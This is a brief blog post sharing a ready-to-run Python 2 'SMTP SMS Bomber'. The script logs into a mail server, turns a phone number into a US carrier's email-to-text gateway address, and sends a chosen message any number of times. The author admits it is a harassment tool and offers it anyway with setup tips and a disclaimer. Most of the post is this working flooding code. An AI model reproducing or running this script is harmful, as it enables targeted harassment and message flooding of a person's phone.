When I was in high-school, we had a fun game. Get an old machine, put Ubuntu Server on it, install Sendmail, and bombard a cell phone with text messages. While that’s harassment and I don’t condone it, I believe the Python we used still serves ‘educational’ value.

Just edit the mailserver = smtplib.SMTP('localhost:port') line, making the localhost:port section relevent to your situation.

I’m in no way responsible for what you do with this, so think for yourself before you do anything.

#!/usr/bin/env    python
# SMTP SMS Bomber https://hackslash.info/
import smtplib
import getpass
print "================================="
print "*****https://hackslash.info/*****"
print "**********04/019/2019************"
print "================================="
mailserver = smtplib.SMTP('localhost:port')
mailserver.ehlo()
mailserver.starttls()
mailserver.ehlo()

username = raw_input("SMTP Username: ")
password = getpass.getpass()
number = raw_input("Phone Number: ")
carrier = raw_input("Phone Carrier (att, verizon, tmobile, sprintpcs, virginmobile, uscellular, nextel, boost, alltell): ")
texttosend = raw_input("Text to send: ")
timestosend = int(raw_input("Times to send: "))

if carrier == "att":
    sendto = number + '@text.att.net'
elif carrier == "verizon":
    sendto = number + '@vtext.com'
elif carrier == "tmobile":
    sendto = number + '@tmomail.net'
elif carrier == "sprintpcs":
    sendto = number + '@messaging.sprintpcs.com'
elif carrier == "virginmobile":
    sendto = number + '@vmobl.com'
elif carrier == "uscellular":
    sendto = number + '@email.uscc.net'
elif carrier == "nextel":
    sendto = number + '@messaging.nextel.com'
elif carrier == "boost":
    sendto = number + '@myboostmobile.com'
elif carrier == "alltell":
    sendto = number + '@message.alltel.com'
else:
    print("Carrier not supported. Sorry!")

mailserver.login(username,password)

x = raw_input("Press Enter to launch.")

for x in range(0,timestosend):

    mailserver.sendmail(username, sendto, texttosend)
    print("Sent.")

mailserver.close()

stopapp = raw_input("Application finished. Press Enter to close.")